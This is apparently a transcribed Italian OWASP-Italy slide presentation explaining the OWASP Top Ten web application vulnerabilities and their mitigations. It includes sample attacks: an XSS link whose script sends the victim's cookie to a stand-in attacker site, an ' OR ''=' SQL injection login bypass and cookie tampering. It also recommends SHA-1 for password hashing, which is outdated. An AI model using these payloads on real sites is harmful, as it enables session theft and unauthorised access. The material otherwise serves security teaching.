OWASP e le 10 vulnerabilità più critiche delle applicazioni Web Matteo Meucci OWASP-Italy Chair ICT Security Consultant – CISSP Business-e matteo.meucci@business-e.it http://www.owasp.org/local/italy.html

Web Application Security e OWASP Top 10 Il progetto OWASP OWASP-Italy: Progetti e sviluppi futuri Le dieci vulnerabiltà più comuni: OWASP Top10 Meccanismi di autenticazione non adeguati Crash del servizio: Buffer overflow Furto di credenziali di autenticazioni: Cross Site Scripting Manipolazione dei dati aziendali: SQL Injection Furto di identità: Errata gestione delle sessioni

Web Application Security Fonte: http://www.internetworldstats.com/stats.htm // Trend Sempre più aziende sono on-line Sempre più utenti sono on-line: everyone, everywhere, everytime // Conseguenze New Business New security risk: confidential data, thief of identity // Quali problemi? Why good people write bad code -Graff e van Wyk in “Writing secure code” No sviluppo “sicuro” degli applicativi web Firewall and SSL non sono soluzioni di sicurezza completi La diffusione di Internet ha totalmente rivoluzionato la vita delle persone e delle aziende che stanno sempre più sfruttando la potenza di questo nuovo media per offrire i propri servizi on-line. Il nuovo paradigma di mercato è sintetizzabile nella formula “everyone, everywhere, everytime”, ovvero chiunque dotato di una connessione Internet e di un browser (everyone), situato in qualsiasi luogo (everywhere) ed in qualsiasi momento (everytime), può usufruire dei servizi messi a disposizione dalle e-company. L’apertura dei servizi aziendali verso il mondo esterno garantisce nuove possibilità di business ma al contempo introduce nuovi problemi di sicurezza delle informazioni: da un lato reti private e pubbliche vengono quotidianamente utilizzate per effettuare transazioni critiche e memorizzare dati riservati, dall’altro, chiunque connesso alla rete è di fatto un potenziale attaccante. Attualmente il punto chiave per la sicurezza dell’Information Technology è la mancanza di conoscenze specifiche: gli addetti ai lavori spesso sottovalutano, o ignorano del tutto, gli impatti di scelte poco oculate sia in fase di progettazione che in fase di implementazione. Per citare Graf e Van Wyk [1], la domanda corretta da porsi è “Why good people write bad code”. Il nodo vitale rimane sempre e comunque il codice. Non è infatti sufficiente, al contrario di quanto viene spesso pensato da progettisti e programmatori, proteggere i propri sistemi con il miglior firewall del mondo (o con altri dispositivi perimetrali) ed ignorare la possibilità che gli utenti (pur accedendo attraverso il firewall) possano sfruttare da remoto le eventuali vulnerabilità applicative presenti nel codice. Lo stesso dicasi per l’uso (o spesso l’abuso) della crittografia, come l’esperienza di B. Schneier ormai da qualche anno insegna. La grande diffusione del paradigma web rende ad oggi le applicazioni web-based la categoria di software più a rischio per l’Information Security. Alcune vulnerabilità sono frutto di una “cattiva” progettazione, altre sono specifiche dell’utilizzo del protocollo HTTP per il trasporto delle informazioni: una fra tutte, la errata gestione della sessione essendo tale protocollo stateless. SSL protegge i dati in transito e verifica l’identità delle parti coinvolte. Non garantisce: la sicurezza delle reti e dei sistemi coinvolti, non protegge prima e dopo (client e server) Non protegge se la sessione è implementata male. FIREWALL: protegge la rete del web server da altre reti, da altre macchine, per alcuni protocolli (non HTTP)

Misure tradizionali e incidenti di sicurezza Gli Incidenti di sicurezza coinvolgono aziende che utilizzano: Firewall: dal momento in cui sia consentito il protocollo HTTP in ingresso sul web server, un attaccante puo’ inserire qualsiasi informazione nelle richieste IDS: sono facilmente bypassati a livello HTTP non bloccano un attacco ma lo segnalano solamente non possono fare nulla contro una richiesta cifrata non sono in grado di rilevare nuovi attacchi VPN: realizzano reti virtuali tra ambienti eterogenei garantendo riservatezza e autenticazione tra i due peer. AV: analizzano file ed e-mail per vedere se sono stati colpiti da nuovi virus; non sono rilevanti per quanto riguarda l’HTTP 75% incidenti avviene via HTTP www.incidents.org Encryption transport layer (SSL) + FW non risolvono il problema di sviluppare un applicativo web “sicuro”

Concetti di WebAppSec Richiesta HTTP request (cleartext or SSL) Accept from ANY to IP W.S. via HTTP/HTTPS Allow SQL SQL Database HTTP reply (HTML, Javascript, VBscript, etc) Risposta Web server App. server DataBase Transport layer HTTP/HTTPS over TCP/IP Database connection: ADO, ODBC, etc. Apache IIS Netscape etc… Plugins: Perl C/C++ JSP, etc Canale e protocollo di comunicazione: HTTP layer 7 ISO/OSI, SSL layer 4-5 Server: Sviluppo applicativi web “sicuri”

OWASP Il progetto Open Web Application Security Project (OWASP) nasce da un gruppo composto di volontari che produce tool, standard e documentazione open-source di qualità professionale. La comunità OWASP incentiva l'organizzazione di conferenze, la nascita di local chapter, la scrittura di articoli, papers, e discussioni riguardanti la Web Security. La partecipazione in OWASP è free ed aperta a tutti, come il materiale disponibile sul portale www.owasp.org Migliaia di membri, di cui 500 nei 38 capitoli locali e altri partecipanti ai progetti Milioni di hit su www.owasp.org al mese Defense Information Systems Agency (DISA) , US Federal Trade Commisson (FTC), VISA, Mastercard, American Express hanno adottato la documentazione OWASP nei loro standard e linee guida In questo contesto si muove l’organizzazione Open Web Application Security Project (OWASP) per cercare di sensibilizzare il maggior numero di realtà organizzative verso le problematiche della Web Application Security. In particolare, la missione di OWASP è la diffusione nella comunità degli sviluppatori di una nuova “coscienza” sulla sicurezza proponendo principi e best practice per lo sviluppo di codice “sicuro”. OWASP nasce da un gruppo composto di volontari che produce tools, standard e documentazione open-source di qualità professionale. La comunità OWASP incentiva l'organizzazione di conferenze, la scrittura di articoli e discussioni riguardanti la Web Application Security. La partecipazione in OWASP è libera ed aperta a tutti come il materiale disponibile sul portale http://www.owasp.org. OWASP ha attualmente diversi progetti in essere, alcuni dei quali giunti ad un buon livello di maturità. Tra questi spiccano WebScarab, un tool da utilizzare per condurre vulnerabilty assessment, WebGoat una vera e propria palestra per i pentester e una serie di guide che stanno diventando lo standard de facto per lo sviluppo di applicativi web “sicuri”. DISA:Defense Information Systems Agency FTC: US Federal Trade Commisson Here's a brief overview.  OWASP has thousands of members, over 500 in 38 local chapters, and many more participating in projects.  The website gets several million hits every month.  The downloads of the Guide, TopTen, WebScarab, and WebGoat are through the roof.  And best of all, there are a large number of significant commercial organizations that have adopted OWASP materials into their standards and guidelines, including DISA, FTC, VISA, Mastercard, American Express, and most large financial institutions. We want OWASP to be *the* application security community, and we're doing as much as we can to make sure it becomes that.  The key project is to create a real applicaiton security standard.  Also we need to articulate a full application security process and fill in all the gaps.  We have some of the pieces (guide, testing, tools) but we need to put them all together so people can understand better.  There's also the papers project to help develop community. I'll structure this all for public consumption soon, but that's the high level picture off the top of my head.

Principali progetti OWASP Linee guida: Guida per la progettazione di applicativi web “sicuri” OWASP Top Ten Vulnerability Checklist per Web Application Vulnerability Assessment Tool per Pentester e code reviewer: WebScarab WebGoat Stinger,… Articoli, standard

OWASP-Italy Gruppo di professionisti della sicurezza informatica interessati alle problematiche e allo sviluppo di tematiche riguardanti la Web Application Security. Active Projects: Traduzione della documentazione OWASP in italiano: OWASP Top Ten [Done!],OWASP Checklist [Done!],OWASP Guide [Waiting release v2] Scrittura di articoli su OWASP e WebAppSec: ICTSecurity [n.33 Apr 05], Hackers&C [N.11 Giu 05] “Where SSL and Strong Auth. Fails” Gruppo di studio per ISO17799&Web e OWASP Checklist Gestione Mailing list sulla WebAppSec: http://lists.sourceforge.net/lists/listinfo/owasp-italy/ Public speech OWASP-Italy Sponsor: OWASP-Italy nasce a Gennaio 2005 grazie all’approvazione di Jeff Williams fondatore di OWASP. OWASP-Italy è una organizzazione free e come tale chiunque si senta di poter fornire contributi per la Web Application Security è libero di partecipare attivamente ai progetti in corso o di proporre nuove idee o spunti di riflessione. La guida di OWASP-Italy è stata affidata a Matteo Meucci che opera da diversi anni in ambienti di consulenza per l’Information Security. Gli obiettivi di OWASP-Italy sono quelli di: Promuovere in Italia la filosofia OWASP per lo sviluppo di applicativi web "sicuri". Contribuire alla sensibilizzazione sia dei professionisti che delle aziende verso le problematiche di Web Security, attraverso la circolazione di idee, articoli, best-practice e tool free. Attraverso una mailing list italiana aperta a tutti si intende diffondere la cultura della web security rivolgendosi a tutti gli appassionati e i professionisti nel campo dell’Information Security. Mediante l'organizzazione di meeting si desidera creare un gruppo di persone attive in Italia per il progetto OWASP, coinvolgendo la maggior parte delle aziende che lavorano nello sviluppo e nell'assessment di applicazioni web. Data la giovane età di OWASP-Italy i progetti in cantiere sono ancora in fase iniziale. I primi feed-back ricevuti sono comunque più che positivi e attestano la presenza anche nel nostro paese di professionisti della sicurezza sensibili a questo tipo di argomenti. Attualmente le attività di OWASP-Italy sono: Traduzione della documentazione OWASP. Costituzione di un gruppo per portare avanti anche in Italia il progetto OWASP ISO17799. Lo standard internazionale per la definizione di un Information Security Management System è raramente applicato per la gestione di un sito web sicuro. Lo standard può essere utilizzato per identificare in maniera eccellente policy e procedure per la gestione dei sistemi informatici e delle informazioni trattate. Non spiega comunque come queste debbano essere attuate e non fornisce tool per la loro implementazione. L’obiettivo di questo progetto è quello di creare tool necessari per il design, lo sviluppo e il deploy di una web application “sicura” secondo lo standard ISO 17799. I tool sono forniti sotto forma di documentazione: policy di alto livello e “procedure pronte per l’uso” che consentano di sviluppare l’applicazione tenendo presente le esigenze di sicurezza delle informazioni e dei contenuti nei diversi stadi del progetto. Scrittura di articoli relativi alla Web Application Security. Presentazione di OWASP-Italy in seminari relativi alla Information Security. OWASP-Italy invita gli esperti del settore, le aziende e gli appassionati a fornire il proprio contributo al progetto suggerendo argomenti, sottoponendo articoli o presentazioni e proponendosi come speaker per i futuri meeting

Top Ten vulnerability list OWASP mantiene una lista delle 10 vulnerabilità più critiche di un applicativo web. Aggiornate annualmente. Sempre più accettata come standard: Federal Trade Commission (US Gov) Oracle Foundstone Inc. @ Stake VISA, MasterCard, American Express Tradotta in italiano: http://www.owasp.org/local/italy.html http://www.clusit.it/whitepapers.htm A1. Unvalidated Input A2. Broken Access Control A3. Broken Authentication and Session Management A4. Cross Site Scripting (XSS) Flaws A5. Buffer Overflow A6. Injection Flaws A7. Improper Error Handling A8. Insecure Storage A9. Denial of Service A10. Insecure Configuration Management Sempre pensando alla diffusione di una cultura della sicurezza, OWASP ha redatto e tiene aggiornata la Top Ten delle vulnerabilità più critiche delle applicazioni web. L’iniziativa è portata avanti da un gruppo di esperti di sicurezza di tutto il mondo che hanno condiviso la propria esperienza per produrre tale lista; pensiamo sia importante per le aziende adottare uno standard qualitativo all’interno della propria organizzazione e assicurarsi che le proprie web application non contengano questi difetti nel codice. La lista individua gli errori di progettazione più comuni che generano vulnerabilità sfruttabili da remoto: Unvalidated Input: le informazioni ricevute dalle richieste web non sono validate prima di essere usate dall’applicazione. Un attaccante può utilizzare questi errori per manipolare le componenti di backend (es. Database). parametri da controllare in fase di validazione sono: Tipo di dato (string, integer, real, etc…) Set di caratteri consentito Lunghezza minima e massima Controllare se è permesso il tipo NULL Controllare se il parametro è richiesto o meno Controllare se sono permessi i duplicati Intervallo numerico Specificare i valori ammessi (numerazione) Specificare i pattern (espressioni regolari) Broken Access Control: le restrizioni su cosa un utente autenticato è autorizzato a fare non sono propriamente progettate. Un attaccante può sfruttare questi errori per accedere ad account di altri utenti, leggere dati riservati o usare funzionalità non autorizzate. Broken Authentication and Session Management: le credenziali di autenticazione e/o i token di sessione non sono prottetti in modo opportuno dall’applicazione. Un attaccante può compromettere password, cookie di sessione, o altri token per aggirare il meccanismo di autenticazione assumendo l’identità di un altro utente (furto di identità).—Documentazione policy di controllo degli accessi (raccomandato una tabella) Cross Site Scripting (XSS) Flaws: l’applicazione web può essere utilizzata come “ponte” per portare un attacco al browser di un utente finale. Ad esempio è possibile sfruttare questo tipo di vulnerabilità per sottrarre il token di autenticazione utente (ad es. cookie o sessionID) ed accedere all’applicativo senza avere le necessarie credenziali (furto di identità). Buffer Overflow: i componenti dell’applicazione web non validano propriamente l’input mandando in crash l’intero servizio. In alcuni casi è possibile prendere il controllo di un processo sul server.

OWASP Top Ten in "Payment Card Industry Data Security Standard" From the standard Payment Card Industry (PCI) Data Security Requirements... 6.5 Develop web software and applications based on secure coding guidelines such as the Open Web Application Security Project guidelines. Review custom application code to identify coding vulnerabilities. See www.owasp.org - “The Ten Most Critical Web Application Security Vulnerabilities.” Cover prevention of common coding vulnerabilities in software development processes, to include: 6.5.1 Unvalidated input 6.5.2 Broken access control (e.g., malicious use of user IDs) 6.5.3 Broken authentication/session management (use of account credentials and session cookies) 6.5.4 Cross-site scripting (XSS) attacks 6.5.5 Buffer overflows 6.5.6 Injection flaws (e.g., SQL injection) 6.5.7 Improper error handling ….

A1. Unvalidated Input Le informazioni ricevute a seguito di una richiesta, non vengono validate dall’applicazione web. Questa tecnica può essere utilizzata per accedere alla parte di backend attraverso l’applicazione web in questione. Prima regola: non “fidarsi” mai di qualsiasi informazioni fornita dal client nella HTTP Request (cookie, IDSessione, parametri, header, referer) I parametri da controllare in fase di validazione sono: Il tipo di dato (string, integer, real, etc…) Il set di caratteri consentito La lunghezza minima e massima Controllare se è permesso il tipo NULL Controllare se il parametro è richiesto o meno Intervallo numerico

A1. Unvalidated Input (2) E’ necessario avere una classificazione ben precisa di ciò che sia permesso o meno per ogni singolo parametro dell’applicativo Ciò include una protezione adeguata per tutti i tipi di dati ricevuti da una HTTP request, inclusi le URL, i form, i cookie, le query string, gli hidden field e i parametri. OWASP WebScarab permette di manipolare tutte le informazioni da e verso il web browser OWASP Stinger HTTP request è stato sviluppato da OWASP per gli ambienti J2EE (motore di validazione)

A1. Unvalidated Input – esempio (1) Manipolazione dei parametri inviati: Hidden Field Manipulation Le informazioni ricevute a seguito di una richiesta, non vengono validate dall’applicazione web. Questa tecnica può essere utilizzata per accedere alla parte di backend attraverso l’applicazione web in questione.

A1. Unvalidated Input – esempio (2) Altero il valore in 4.999

A1. Unvalidated Input – esempio (3)

A1. Unvalidated Input – esempio (4)

A2. Broken Access Control Controllo dell’accesso (Autorizzazione) Non vengono applicate le restrizioni appropriate su quello che possono fare o meno gli utenti. Un utente malintenzionato può accedere ad account di altri utenti, visualizzare files sensibili o ulitizzare funzionalità non autorizzate. Es: Permessi sui file (R,W,X) Forced Browsing Insecure SessionID o cookie Testare sempre lo schema di controllo degli accessi al sito e verificare le azioni che non dovrebbero essere permesse.

A2. Broken Access Control (2) Utenti A. Di Lorenzo M. Tedaldi J. Williams D. Chadwick T. Polk P. Pedani D. Pinkas R. Rivest M. Meucci P. Myers S. Farrell Ruoli User Power User Operatore Public Manager Controller Resp. Amm.vo Direttore SI Direttore Ru Dirigente Admin Risorse / Target Redazione Bozza Controllo economico Bozza Controllo amministrativo Bozza Firma Bozza Delivery Atto Controllo Atto Ragioneria Account Manager se chi ha realizzato lo schema di controllo degli accessi non sa spiegarlo in maniera semplice Molto probabilmente ha implementato un meccanismo bypassabile. Come proteggersi: Il passo più importante è quello di pensare ad uno schema di accesso e trasformarlo in una policy di sicurezza applicativa. Noi raccomandiamo l’uso di una matrice di controllo d’accesso per definire le singole regole. Senza una documentazione della policy, non c’è una definizione di ciò che è ritenuto sicuro per un sito. Nella policy vanno indicati gli utenti che possono accedere al sistema e a quali funzioni e contenuti ognuno di questi utenti può accedere. Tale meccanismo deve essere testato a lungo per assicurarsi che non vi sia possibilità di bypassarlo. Policy documentate di controllo degli accessi

A3. Broken Authentication e Session Management Processo di autenticazione Meccanismo di autenticazione implementato non adeguato Gestione delle sessioni web HTTP protocollo stateless: è necessario implementare una corretta gestione delle sessioni

A3. Broken Authentication Meccanismi di autenticazione non adeguati

A3. Broken Authentication (2)

A.3: Concetto di “gestione della sessione” nel mondo reale Dipendente Banca A. Ferrari Mario Rossi Verifica identità in base alla carta di identità Carta di identità Mario Rossi Num. 33 Firma: A.Ferrari Buongiorno Mario Rossi Ticket #33 Ticket #33: mi dia 1000 euro dal mio conto Verifica identità in base al ticket Tenga 1000 euro Sig. Rossi Meccanismo di autenticazione? Meccanismo di gestione della sessione? Livello di sicurezza del sistema?

A.3: Gestione della sessione web --Procedura di autenticazione-- Web Server Mario Rosssi [1] https://www.mia-banca.it [2] Invio form di autenticazione via HTTPS Verifica credenziali: se ok  client autenticato  Generazione del cookie [3] inserisce username/password via HTTPS Username/password [4] Welcome page personale e Set Cookie=TWFyaW8123 Token di autenticazione Cookie=TWFyaW8123 --Richieste seguenti-- Verifica del cookie:  Identifica il mittente Invio del contenuto al DEST [5] Richiesta dell’estratto CC (https://www. mia-banca.it/cont.jsp) Cookie=TWFyaW8123 [6] Invio del contenuto

A.3: Furto di identità Mario Rossi Per implementare una corretta gestione delle sessioni è necessario proteggere sia le credenziali di autenticazione di un utente che i token di sessione generati dal server ed assegnati all’utente Se altero la GET HTTP, “forgiando” il cookie sono in grado di accedere al contenuto di un’altra persona Verifica del cookie: TWFyaW8122 Identifica il mittente Paolo Verdi Invio del contenuto di Paolo Verdi al destinatario Mario Rossi Cookie=TWFyaW8122 [5a]Richiesta dell’estratto CC (https://www. mia-banca.it/cont.jsp) [6a] Invio del contenuto di Paolo Verdi I dati relativi all’utenza di Verdi non sono stati adeguatamente protetti

A.3: Errata gestione della sessione - Furto di identità Cookie poisoning Alterando campi forniti al client tramite un cookie (stato), un attaccante puo’ impersonare un utente per accedere a servizi web. Cookie: lang=en-us; ADMIN=no; y=1 ; time=10:30GMT ; Cookie: lang=en-us; ADMIN=yes; y=1 ; time=12:30GMT ; Cookie guessable Cookie:aefdsg6757nb90 ;  M.Rossi Cookie:aefdsg6757nb92 ;  G.Verdi Cookie:aefdsg6757nb9? ;  V.Bianchi Credenziali di autenticazione = Token di autenticazione !!!

A.4: Principi di Cross-Site-Scripting (XSS) [7] utilizzo del token rubato per autenticarsi al servizio Internet [1] Richiesta Attacker [2] Risposta DataBase [3] Invio malicious code mascherato da informativa della banca [6] Invio di token di autenticazione all’attaccante [6] Web server www.my-banca.it App. server Internet [4] www.my-banca.it/VulnApp.jsp?e=<script “malizioso”> [5] Risposta: pagina voluta dall’attaccante eseguita sul browser dell’utente WebApp vulnerabile al XSS user

A.4: Cross-Site-Scripting (2) GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0 Host: www.my-banca.it ... La risposta del sito vulnerabile sarà la seguente (interpretata sul browser dell’utente ignaro): <HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script> <BR> Welcome to our system </HTML> The victim client’s browser would interpret this response as an HTML page containing a piece of 1. http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script> The victim, upon clicking the link, will generate a request to www.vulnerable.site, as follows: 2. Javascript code. This code, when executed, is allowed to access all cookies belonging to www.vulnerable.site, and therefore, it will pop-up a window at the client browser showing all client cookies belonging to www.vulnerable.site.

A.4: Cross-Site-Scripting (3) Il malicious link può essere: http://www.my-banca.it/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)</script> La risposta del server sarà: <HTML> <Title>Welcome!</Title> Hi <script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)</script> <BR>Welcome to our system ... </HTML> 1. Of course, a real attack would consist of sending these cookies to the attacker. For this, the attacker may erect a web site (www.attacker.site), and use a script to receive the cookies. Instead of popping up a window, the attacker would write a code that accesses a URL at his/her own site (www.attacker.site), invoking the cookie reception script with a parameter being the stolen cookies. This way, the attacker can get the cookies from the www.attacker.site server. 2. The browser, immediately upon loading this page, would execute the embedded Javascript and would send a request to the collect.cgi script in www.attacker.site, with the value of the cookies of www.vulnerable.site that the browser already has. This compromises the cookies of www.vulnerable.site that the client has. It allows the attacker to impersonate the victim. The privacy of the client is completely breached. The browser, immediately upon loading this page, would execute the embedded Javascript and would Redirezione del contenuto del cookie dell’utente ignaro verso il server dell’attaccante

XSS esempio (1)

XSS esempio (2)

A5. Buffer Overflow Buffer Overflow: i componenti dell’applicazione web non validano propriamente l’input mandando in crash l’intero servizio. In alcuni casi è possibile prendere il controllo di un processo sul server.

A.6: Injection Flaw Username: ‘ OR ‘’=’ Password: ‘ OR ‘’=’ Ad esempio invio di comandi SQL come input di una pagina web direttamente al DB Username: ‘ OR ‘’=’ Password: ‘ OR ‘’=’ SQLQuery = “SELECT Username FROM Users WHERE Username = ‘“& strUsername &“’ AND Password =’”&strPassword”’ “ If (StrAuthCheck = “”) then BoolAuthenticated = false Else BoolAuthenticated = true SELECT Username FROM Users WHERE Username = ‘’ OR ‘’=’’ AND Password =’’ OR ‘’=’’ La query confronta due stringhe vuote restituendo valore vero  AUTENTICATO!

A.6: SQL Injection (1)

A.6: SQL Injection (2) Mediante l’uso di tecniche sofisticate e’ possibile ricostruire le tabelle del DataBase E’ possibile alterare la base di dati in modo tale da non avere piu’ dati consistenti Internet [1] Richiesta Attacker [2] Risposta App. server

A7. Error Handling Errori di debug visibili agli utenti Incorrect Login Invalid Username / Invalid Password Username not found in database Personalizzare e gestire i messaggi di errore

A8. Insecure Storage Necessità di conservare informazioni riservate nel database oppure all’interno del file system. Trattamento errato dei dati critici (cifratura errata) Conservazione errata delle chiavi, dei certificati e delle password Gestione impropria dei segreti in memoria Inaffidabilità del generatore dei dati random Cattiva scelta degli algoritmi di cifratura Tentativo di creazione di un nuovo algoritmo Errata implementazione del cambio di chiavi ed errate procedure di manutenzione dell’applicativo Semplificare (es: one way encryption invece che encryption) Usare librerie pubbliche di algoritmi crittografici Il metodo più semplice per proteggersi contro questo tipo di vulnerabilità è quello di limitare l’utilizzo dei metodi di cifratura e di gestire le uniche informazioni assolutamente necessarie. Ad esempio, invece di cifrare i numeri delle carte di credito e conservarli, è utile chiedere agli utenti di inserire i numeri da sé. Invece di conservare le password cifrate, è consigliabile di utilizzare una funzione one-way, ad esempio SHA-1, per creare un hash della password. Se è necessario utilizzare la cifratura dei dati, è preferibile scegliere una libreria che sia stata distribuita pubblicamente e sulle quali non vi siano delle vulnerabilità aperte. Deve essere effettuata una revisione puntuale del codice. Bisogna assicurarsi che i segreti, ad esempio le chiavi, i certificati e le password vengano conservate correttamente. Per mettere in difficoltà un hacker, il master secret dovrebbe essere “splittato” in due locazioni diverse e deve essere assemblato in fase di esecuzione. Tali locazioni posso includere un file di configurazione, un server esterno, oppure un posizionamento all’interno del codice.

A9. Denial of Sevice Un attaccante può consumare le risorse di una applicazione web a tal punto da non permettere ai legittimi utenti di accedere e usare il servizio stesso Data una HTTP Request, una applicazione web non è in grado di discernere tra un attacco e il traffico ordinario (IPAddr non sufficiente). Es di Dos: ampiezza di banda, connessioni al DB, spazio su disco, utilizzo della CPU, della memoria, blocco account utente. Proteggersi è complesso: test per controllare il numero di richieste per secondo che l’applicazione è in grado di gestire. limitare al massimo il numero di risorse allocate per ogni singolo utente. Non permetter chiamate a funzioni onerose dal punto di vista dell’effort da parte di utenti non autenticati Una volta che un utente può assorbire tutte le risorse disponibili, i sistemi diventano inutilizzabili per gli utenti legittimamente attivi.

A10. Insecure Configuration Management È diffusa la pratica di non eliminare oggetti o codici sorgenti non più necessari per l’erogazione del servizio (ad es. vecchie versioni di codice o sorgenti di test) dai quali è spesso possibile ottenere informazioni critiche per il sistema. Vulnerabiltà note non corrette all’interno dei software installati nel server Vulnerabilità all’interno dei software installati nel server oppure configurazioni errate che permettono di eseguire attacchi del tipo directory traversal Presenza di contenuti non necessari quali pagine di defaut, backup di dati, script, applicazioni, file di configurazione e vecchie pagine web Tipici errori di configurazione del web server che influiscono sull’ambiente in cui “gira” l’applicazione.

A10. Insecure Configuration Management Esempi: Attivazione di servizi non necessari inclusi sistemi di amministrazione remota e di content management Presenza di account di default con password di default Errata gestione dei messaggi di errore da parte dell’applicazione Errata configurazione dei certificati SSL e dei settaggi relativi ai metodi di cifratura Directory di default, ad es. di Ms IIS: iisamples, msadc, iishelp, scripts, printers Come proteggersi: Eliminare tutto ciò che non è necessario Scanning e hardening preventivo del web server (Nessus, Nikto)

Questions?

Bibliografia e sitografia : OWASP Foundation A Guide to Building Secure Web Applications. 2002 - “http://www.owasp.org/documentation/guide/guide_downloads.html” OWASP Foundation OWASP Web Application Penetration Checklist. 2004 - http://www.owasp.org/documentation/testing.html OWASP Foundation The Ten Most Critical Web Application Security Vulnerabilities. 2004 – traduzione in italiano: “http://www.owasp.org/international/ita.html” OWASP Foundation Software: WebGoat – “http://www.owasp.org/software/webgoat.html” WebScarab – “http://www.owasp.org/software/webscarab.html” Stinger – http://www.owasp.org/software/validation/stinger.html OWASP-Italy: http://www.owasp.org/local/italy.html